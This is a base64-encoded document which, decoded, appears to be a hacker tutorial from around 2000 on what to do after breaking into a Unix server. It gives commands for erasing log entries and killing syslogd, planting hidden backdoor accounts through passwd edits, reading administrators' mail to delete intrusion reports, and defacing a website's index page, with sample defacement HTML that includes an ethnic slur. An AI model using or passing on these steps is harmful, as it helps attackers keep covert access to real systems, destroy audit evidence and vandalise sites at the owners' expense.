IHNpbmNlIERlYyAzMSwgMDk5OQ0KICAkTnk9JHktMTAwMDsNCg0KICAjIE51bWJlciBvZiBmdWxs IDR0aCB5ZWFycyAoaW5jbC4gMTAwMCkgc2luY2UgRGVjIDMxLCAwOTk5DQogICROND1pbnQoKCRO eS0xKS80KSsxOw0KICAkTjQ9MCAgICAgICAgIGlmICgkeT09MTAwMCk7DQoNCiAgIyBOdW1iZXIg b2YgZnVsbCAxMDB0aCB5ZWFycyAoaW5jbC4gMTAwMCkNCiAgJE4xMDA9JGNjLTk7DQogICROMTAw LS0gICAgICAgaWYgKCR5eT09MCk7DQoNCiAgIyBOdW1iZXIgb2YgZnVsbCA0MDB0aCB5ZWFycw0K ICAkTjQwMD1pbnQoKCROMTAwKzEpLzQpOw0KDQogICMgQ2hlY2sgdG8gaW5zdXJlIHRoYXQgaW5m b3JtYXRpb24gcmV0dXJucyBhIHZhbGlkIGRheSBvZiB5ZWFyLg0KICAkZGF5b2Z5ZWFyPWRheW9m eWVhcigkbSwkZCwkeSk7DQogIHJldHVybiB1bmRlZiBpZiAoIWRlZmluZWQoJGRheW9meWVhcikp Ow0KDQogICMgQ29tcHV0ZSBkYXkgb2YgeWVhci4NCiAgJGRheXM9ICROeSozNjUgKyAkTjQgLSAk TjEwMCArICRONDAwICsgJGRheW9meWVhcjsNCg0KICByZXR1cm4gJGRheXM7DQp9DQoNCg0Kc3Vi IGRheW9meWVhciB7DQogIG15KCRtLCRkLCR5KT1AXzsNCiAgbXkoQGRheXNpbm1vbnRoKT0oMzEs MjgsMzEsMzAsMzEsMzAsMzEsMzEsMzAsMzEsMzAsMzEpOw0KICBteSgkZGF5bnVtLCRpKT0oKTsN CiAgJGRheXNpbm1vbnRoWzFdPTI5ICBpZiAoISgkeSAlIDQpKTsNCg0KICAjIFJldHVybiBlcnJv ciBpZiB3ZSBhcmUgZ2l2ZW4gYW4gaW52YWxpZCBkYXRlLg0KICByZXR1cm4gdW5kZWYgaWYgKCRk ID4gJGRheXNpbm1vbnRoWyRtXSk7DQoNCiAgJGRheW51bT0wOw0KICBmb3IgKCRpPTE7ICRpPCRt OyAkaSsrKSB7DQogICAgJGRheW51bSArPSAkZGF5c2lubW9udGhbJGldOw0KICB9DQogICRkYXlu dW0gKz0gJGQ7DQogIA0KICByZXR1cm4gJGRheW51bTsNCn0NCg0KDQojIyBFTkQgREFURSBST1VU SU5FUy4NCiAgICAgIA0KIyBFbmQgb2Ygc2NyaXB0Lg0KDQowOw0KDQotLS0tLS0tLS0tLS0tLS0t LS0tLS0gZW5kIG9mIHV0bXBtYW4ucGwNCg0KT2ssIGxldCdzIGNoZWNrIHRoZSBsb2dzLi4uDQp0 YXJnZXQjIGNkIC92YXIvbG9nDQp0YXJnZXQjIGdyZXAgaG9zdCAqDQptYWlsbG9nOkphbiAyOSAw NTozMTo1OCBucyBpbi50ZWxuZXRkWzIyMDcyXTogY29ubmVjdCBmcm9tIGhvc3QuY29tDQptYWls bG9nOkphbiAyOSAwNTozNToyOSBucyBpbi50ZWxuZXRkWzIyMDk5XTogY29ubmVjdCBmcm9tIGhv c3QuY29tDQpUaGUgemFwIGRpZCBldmVyeXRoaW5nIGV4Y2VwdCB0aGlzIG1haWxsb2cuLi4NCg0K dGFyZ2V0IyBwaWNvIG1haWxsb2cNCkluIHBpY28gZWRpdG9yIEN0cmwrdyBpbiBvcmRlciB0byBz ZWFyY2ggZm9yIGhvc3QgdGhlbiBDdHJsK2sgZm9yIGRlbGV0aW5nIHRob3NlIGxpbmVzLg0KdGFy Z2V0IyBncmVwIGhvc3QgKg0KRXZlcnl0aGluZyBpbiBvcmRlciBub3cuLi4uDQpBIGdvb2QgdGhp bmcgdG8gZG8gaXMgdG8gZWRpdCAvZXRjL2hvc3QuYWxsb3cgYW5kIC9ldGMvaG9zdHMuZGVueQ0K dGFyZ2V0IyBwaWNvIC9ldGMvaG9zdHMuYWxsb3cgDQphbmQgDQp0YXJnZXQjIHBpY28gL2V0Yy9o b3N0cy5kZW55DQpSZW1lbWJlciB0byBlcmFzZSB0aGUgZXhwbG9pdA0KdGFyZ2V0IyBybSBleHBs b2l0LmMNClBlcmhhcHMgeW91IHdhbnQgdG8ga2VlcCB0aGUgYWNjZXNzIHlvdSBnYWluZWQgYWN0 aXZlLlRoZW4gZG8gYSBiYWNrZG9vci5Zb3UgZG8gbm90IGhhdmUgdG8gbWFrZSBpdCBhIHJvb3Qg YWNjb3VudCB0aGF0IGNvdWxkIGNhdXNlIG5vdGljZSB0byBpdCByaWdodCBhd2F5LllvdSBrbm93 IHlvdSBjYW4gaGF2ZSByb290IGFueSB0aW1lIHlvdSB3YW50Lg0KTm93IGxldCdzIHRha2UgYSBs b29rIGF0IHRoZSBwYXNzd2Qgb3Igc2hhZG93IGZpbGUuSXQgc2hvdWxkIGxvb2sgbGlrZSB0aGlz Li4uDQpyb290OmZWaTNZcVdua2Q0clk6MDowOnJvb3Q6L3Jvb3Q6L2Jpbi9iYXNoDQpzeXNvcDpt WmpiNFhqbkpUMVlzOjU4MjoyMDA6U3lzdGVtIE9wZXJhdG9yOi9ob21lL3N5c29wOi9iaW4vYmFz aA0KYmluOio6MToxOmJpbjovYmluOg0KZGFlbW9uOio6MjoyOmRhZW1vbjovc2JpbjoNCmFkbToq OjM6NDphZG06L3Zhci9hZG06DQpscDoqOjQ6NzpscDovdmFyL3Nwb29sL2xwZDoNCnN5bmM6Kjo1 OjA6c3luYzovc2JpbjovYmluL3N5bmMNCnNodXRkb3duOio6NjowOnNodXRkb3duOi9zYmluOi9z YmluL3NodXRkb3duDQpoYWx0Oio6NzowOmhhbHQ6L3NiaW46L3NiaW4vaGFsdA0KbWFpbDoqOjg6 MTI6bWFpbDovdmFyL3Nwb29sL21haWw6DQpuZXdzOio6OToxMzpuZXdzOi91c3IvbGliL25ld3M6 DQp1dWNwOio6MTA6MTQ6dXVjcDovdmFyL3Nwb29sL3V1Y3BwdWJsaWM6DQpvcGVyYXRvcjoqOjEx OjA6b3BlcmF0b3I6L3Jvb3Q6L2Jpbi9iYXNoDQpnYW1lczoqOjEyOjEwMDpnYW1lczovdXNyL2dh bWVzOg0KbWFuOio6MTM6MTU6bWFuOi91c3IvbWFuOg0KcG9zdG1hc3RlcjoqOjE0OjEyOnBvc3Rt YXN0ZXI6L3Zhci9zcG9vbC9tYWlsOi9iaW4vYmFzaA0Kbm9ib2R5Oio6NjU1MzU6MTAwOm5vYm9k eTovZGV2L251bGw6DQpmdHA6Kjo0MDQ6MTo6L2hvbWUvZnRwOi9iaW4vYmFzaA0KDQpZb3UgbWF5 IGVpdGhlciBzZXQgbGV0J3Mgc2F5IHRoZSBwb3N0bWFzdGVyJ3MgcGFzc3dvcmQgdG8gbnVsbCAu Li4NCnRhcmdldCNwYXNzd2QgcG9zdG1hc3Rlcg0KTm93IHByZXNzIGVudGVyIHR3aWNlDQouLi5v ciB5b3UgY2FuIGFkZCBhIG5ldyBsaW5lIHRvIHRoZSBmaWxlLi4uDQpzeXN0OjoxMzoxMjpzeXN0 ZW06L3Zhci9zcG9vbDovYmluL2Jhc2gNCg0KUGxhY2UgaXQgaW4gdGhlIGZpbGUgd2hlcmUgaXQg c2VlbXMgdG8gZmxvdy4gIA0KTG9vayBhdCB0aGUgbGluZSBhYm92ZSBmb3Igc3luYw0KDQpzeW5j Oio6NTowOnN5bmM6L3NiaW46L2Jpbi9zeW5jDQoNCkNoYW5nZSB0aGlzIHRvIDoNCg0Kc3luYzoq OjU6MDpzeW5jOi9zYmluOi9iaW4vYmFzaCBhbmQgdGhlbiBydW4gPHBhc3N3ZCBzeW5jPiBhbmQg bGVhdmUgdGhlIHBhc3N3ZCBibGFuay4gIChvciBzZXQgYSBwYXNzd2QgZG9uJ3QgbWF0dGVyKSBP biB0aGlzIGFjY291bnQgd2UgYXJlIGV2ZW4gZ2lkPTAgDQpSZW1iZXIgZmlyc3QgTkVWRVIgdG8g dXNlIHN5c3RlbSBtYWlsIHByb2dyYW1zISAgVGhleSB3aWxsIGJlIGFibGUgdG8gdGVsbCB5b3Ug YXJlIHJlYWRpbmcgdGhlaXIgbWFpbC4gIEkgdXNlIGEgY29tYm8gb2YgYSBmZXcgdGhpbmdzLiAg SGVyZSB5b3UgZ28uLi4NCg0KIGNkIC92YXIvc3Bvb2wvbWFpbA0KDQpUaGlzIHdpbGwgcHV0IHlv dSBpbnRvIHRoZSBkaXJlY3RvcnkgdGhhdCBob2xkcyBhbGwgb2YgdGhlIHVucmVhZCBtYWlsLCBv ciB3YWl0aW5nIG1haWwuICBOb3cgeW91IGNhbiBkbyB0aGluZ3MgbGlrZToNCg0KZ3JlcCAtaSBz ZWN1cml0eSAqIHxtb3JlDQpncmVwIC1pIGhhY2sgKiB8bW9yZQ0KZ3JlcCAtaSBpbnRydWRlciAq IHxtb3JlDQpncmVwIC1pIHBhc3N3ZCAqIHxtb3JlDQpncmVwIC1pIHBhc3N3b3JkICogfG1vcmUN Cg0KVGhlbiBpZiBuZWVkZWQgcGljbyB1c2VybmFtZSwgYW5kIGN0cmwgdyB0byBzZWFyY2ggZm9y IHlvdXIgbWVzc2FnZS4gIFlvdSBjYW4gYWxzbyBkZWxldGUgbWVzc2FnZXMgaWYgeW91IHNlZSBz b21lIG90aGVyIGFkbWluIGlzIHRlbGxpbmcgdGhlbSB0aGF0IHlvdXIgdXNlciBuYW1lIGlzIGhh Y2tpbmcgdGhlaXIgbWFjaGluZSBmcm9tIHRoZWlyIGRvbWFpbi4NCk1ha2Ugc3VyZSB0byByZWFk IC9ldGMvc3lzbG9nLmNvbmYgYW5kIC9ldGMvbG9naW4uZGVmcyB0byBzZWUgaG93IHRoZSBzeXN0 ZW0gaXMgbG9nZ2luZy4NCk9rLk5vdyB5b3UgbWF5IGV4cGxvcmUgdGhlIHN5c3RlbSBob3dldmVy IHlvdSB3YW50LkRvbid0IGRvIHN0dXBpZCB0aGluZ3MgbGlrZSBkZWxldGluZyBmaWxlcyBvciBj cmFzaGluZyB0aGUgc3lzdGVtLCBhbmQgYmUgY2FyZWZ1bGwuDQpJdCBpcyBub3QgYWR2aXNhYmxl IHRvIGNoYW5nZSB0aGUgc2l0ZSBpZiB0aGUgc2VydmVyIHlvdSBoYWNrZWQgZG9lcyBoYXZlIG9u ZS5Ib3dldmVyLCBpZiB5b3Ugd2FudCB0byBkbyBzb21ldGhpbmcgbGlrZSB0aGF0IGhlcmUgaXMg YW4gZXhhbXBsZS4uLg0KdGFyZ2V0I3BpY28gL3Vzci9sb2NhbC9hcGFjaGUvaHRkb2NzL2luZGV4 Lmh0bWwNClRoZSBtYWluIGZpbGUgb2YgdGhlIHdlYnNpdGUgY2FuIGJlIGVkaXRlZCBub3cuDQpI ZXJlIGlzIGFuIGV4YW1wbGUgb2YgYSBoYWNrZWQgaW5kZXguaHRtbCBmaWxlLi4uDQotLS0tLS0t LS0tLS0tLS0tLS0tLXN0YXJ0X29mX2ZpbGUtLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQo8aHRtbD4N CjxoZWFkPg0KICAgPG1ldGEgbmFtZT0iVWx5c3MzcyIgY29udGVudD0iTW96aWxsYS80LjUgIj4N CiAgIDx0aXRsZT5TaXRlIGhhY2tlZCBieS4uLlVseXNzM3M8L3RpdGxlPg0KPC9oZWFkPg0KPGJv ZHkgdGV4dD0iI0ZGRkYwMCIgYmdjb2xvcj0iIzAwMDAwMCIgbGluaz0iI0ZGRkYwMCIgdmxpbms9 IiM4MDAwODAiIG9ubG9hZD0iYWxlcnQoJ1VseXNzM3Mgc3RyaWtleiBhZ2Fpbi4uLicpIiBvbnVu bG9hZD0iYWxlcnQoJ0FQQUNIRSBpbnNpZGU/SSBoYXRlIGluZGlhbnogOi0pJykiPg0KDQo8Y2Vu dGVyPjxiPjxmb250IGZhY2U9IkNvdXJpZXIgTmV3IFR1ciI+PGZvbnQgY29sb3I9IiNGRjAwMDAi Pjxmb250IHNpemU9KzM+VWx5c3MzczwvZm9udD48L2ZvbnQ+PC9mb250Pjxmb250IGZhY2U9IkFy aWFsIj48Zm9udCBzaXplPSsyPg0KcHJvdWRseSBwcmVzZW50cy4uLjwvZm9udD48L2ZvbnQ+PC9i Pg0KPHA+PGI+PGk+PGZvbnQgZmFjZT0iQXJpYWwiPmhpeiBsOGVzdCBoYWNraW5nITwvZm9udD48 L2k+PC9iPjwvY2VudGVyPg0KDQo8cD5iYXNoIDIuMDQjd2hvYW1pDQo8cD5yb290DQo8cD5iYXNo IDIuMDQjDQo8cD4vKiBUaGl6IHRlbGx6IHByZXR0eSBtdWNoLGh1aD9ZZWFoLHNlY3VyaXR5IHdh c24ndCBzbyBncjguLi4NCjxwPkdyZWV0aW5neiB0byBhbGwgbXkgZnJpZW5kei0gPGZvbnQgY29s b3I9IiNGRjAwMDAiPkx1Y2lmZmVyPC9mb250PiwNCjxmb250IGNvbG9yPSIjRkYwMDAwIj5Nb29u fExvcmQ8L2ZvbnQ+LCA8Zm9udGNvbG9yPSIjRkYwMDAwIj5TbGF1Z2h0ZXI8L2ZvbnQ+LA0KPGZv bnQgY29sb3I9IiNGRjAwMDAiPkFtb3JwaGlzPC9mb250PiwgYW5kIG90aGVyeiAqLw0KPGJyPiZu YnNwOw0KPC9ib2R5Pg0KPC9odG1sPg0KLS0tLS0tLS0tLS0tLS1FbmRfb2ZfZmlsZS0tLS0tLS0t LS0tLS0tLS0tLQ0KQ3RybCt4LHNhdmUgdGhlIGNoYW5nZXMgYW5kIFZPSUxBISBZb3UncmUgZG9u ZSENCldoZW5ldmVyIHNvbWVvbmUgdHlwZXMgaW4gaGlzIGJyb3dzZXIncyBhZHJlc3MvbG9jYXRp b246IGh0dHA6Ly93d3cudGFyZ2V0LmNvbSB0aGUgZWRpdGVkIHBhZ2Ugd2lsbCBhcHBlYXIuDQo9 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09DQpBIGZldyB0aGluZ3MgdG8gcmVtZW1iZXI6DQovZXRjL3NlcnZpY2VzICAo dGhlIHBvcnRzIGZpbGUpDQovZXRjL2luZXRkLmNvbmYgDQovZXRjL2dyb3VwICAgICAgDQotVGhp cyBpcyB0aGUgZ3JvdXAgZmlsZS4gVGhpcyBhbGxvd3MgdGhlIHN1cGVydXNlciB0byBnaXZlIGNl cnRhaW4gYWNjb3VudHMgZ3JvdXAgDQphY2Nlc3MgdG8gZ3JvdXBzIG90aGVyIHRoYW4gdGhlaXIg b3duICAgICAgICAgICAgICAgIA0KRW50cmllcyBhcmUgaW4gdGhlIGZvcm1hdDogZ3JvdXAgbmFt ZTpwYXNzd29yZDpncm91cCBudW1iZXI6dXNlcnMgaW4gdGhpcyBncm91cA0KDQovZGV2L2NvbnNv bGUgICAgDQotVGhpcyBpcyB0aGUgZGV2aWNlIGZpbGUgZm9yIHRoZSBzeXN0ZW0gY29uc29sZSwg b3IgdGhlICAgICAgICAgICAgICAgIHN5c3RlbSdzIG1haW4gdGVybWluYWwuDQovdXNyL2FkbS9z dWxvZyAgDQovdXNyL2FkbS9sb2dpbmxvZyBvciAvdXNyL2FkbS9hY2N0L3N1bS9sb2dpbmxvZw0K DQovdXNyL21haWwvPHVzZXI+ICAgICAgICANCi9kZXYvbnVsbCAgICAgICANCi91c3IvbGliIC91 c3Ivc3Bvb2wvY3Jvbi4NCmNyb250YWIgaW4gdGhlIGRpcmVjdG9yeSAvdXNyL2xpYiBjb250YWlu cyBlbnRyaWVzIGZvciBzeXN0ZW0gDQp0YXNrcyB0aGF0IG11c3QgYmUgcGVyZm9ybWVkIG9uIGEg cGVyaW9kaWMgYmFzaXMuIFRoZSBmb3JtYXQgZm9yIHRoZSBlbnRyaWVzIGluIA0KdGhpcyBmaWxl IGlzOg0KbWludXRlIGhvdXIgZGF5b2Ztb250aCAgbW9udGhvZnllYXIgIGRheW9md2VlayBjb21t YW5kc3RyaW5nDQoNCjEgKiAqICogIC9iaW4vc3luYw0KVGhpcyBydW5zIHN5bmMgY29tbWFuZCwg d2hpY2ggaXMga2VwdCBpbiB0aGUgZGlyZWN0b3J5IGJpbiwgYXQgMSBhbSBldmVyeSBkYXkuDQpD b21tYW5kcyBpbiB0aGUgZmlsZSAvdXNyL2xpYi9jcm9udGFiIGFyZSBwZXJmb3JtZWQgd2l0aCBy b290IHByaXZpbGVnZXMuDQovdXNyL3Nwb29sL2Nyb250YWJzLCB5b3Ugd2lsbCBmaW5kIGZpbGVz IG5hbWVkIGFmdGVyIA0Kc3lzdGVtIGFjY291bnRzLiBUaGVzZSBmaWxlcyBjb250YWluIGNyb24g ZW50cmllcyB3aGljaCBhcmUgdGhlIHNhbWUgYXMgdGhvc2UgDQppbiB0aGUgZmlsZSAvdXNyL2xp Yi9jcm9udGFiLCBidXQgYXJlIGNhcnJpZWQgb3V0IHVuZGVyIHRoZSBpZCBvZiB0aGUgdXNlciB0 aGUgDQpmaWxlIGlzIG5hbWVkIGFmdGVyLiBUaGUgZW50cmllcyBhcmUgaW4gdGhlIHNhbWUgZm9y bWF0Lg0KQWxsIGNyb24gYWN0aXZpdHkgaXMgbG9nZ2VkIGluIHRoZSBmaWxlIC91c3IvYWRtL2Ny b25sb2cuIA0KDQpBKWtpbGxhbGwgLTkgc3lzbG9nZCBrbG9nZA0KQiljb3B5IHNlY3VyZS4xIGFu ZCBtZXNzYWdlcy4xIGZyb20gL3Zhci9sb2cgb3ZlciBzZWN1cmUgYW5kIG1lc3NhZ2VzDQpDKXVu YW1lIC1hLCB3LCBsYXN0IC0xMCwgY2F0IC9ldGMvcGFzc3dkIC9ldGMvaW5ldGQuY29uZg0KRClw aWNvIGluZXRkLmNvbmYocG9ydHMmZGFlbW9ucykgL3Jvb3QvLnByb2ZpbGUgDQo9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09DQpJIHRoaW5rIHRoaXMgd2FzIGEgbmljZSA8d2FsayBpbiB0aGUgcGFyaz4uSG9wZWZ1bGx5 IHlvdSBlbmpveWVkIGl0IGFuZCB3aWxsIGhhdmUgeW91ciBvd24gPHdhbGsgaW4gdGhlIHBhcms+ IHNvbWV0aW1lLg0KSGFwcHkgaGFja2luZyENCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCkh1Z2UgZ3JlZXRpbmdz IGFuZCB0aGFua3MgdG86DQpJbnZpc2libGUgRXZpbCAtIFlvdXIgaGFjayBraXQgaW5zcGlyZWQg bWUgYSBsb3QuDQpUaGUgTWVudG9yICAgICAtIFlvdXIgPGxhc3Qgd29yZHM+IGNvbnRhaW4gdGhl IGVzc2VuY2UgYW5kIHRoZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICBmaWxvc29waHkgb2YgaGFja2luZy4NCk15IGZyaWVuZHM6IEx1Y2lmZmVyLCBN b29ufExvcmQsIExpZmVUaW1lLCBldGMuDQoNCkZpbmlzaGVkOiAwOC5YSUkuMjAwMA0KTWVycnkg WG1hcyBhbmQgYSBIYXBweSBOZXcgWWVhciENCg0KDQoNCg0K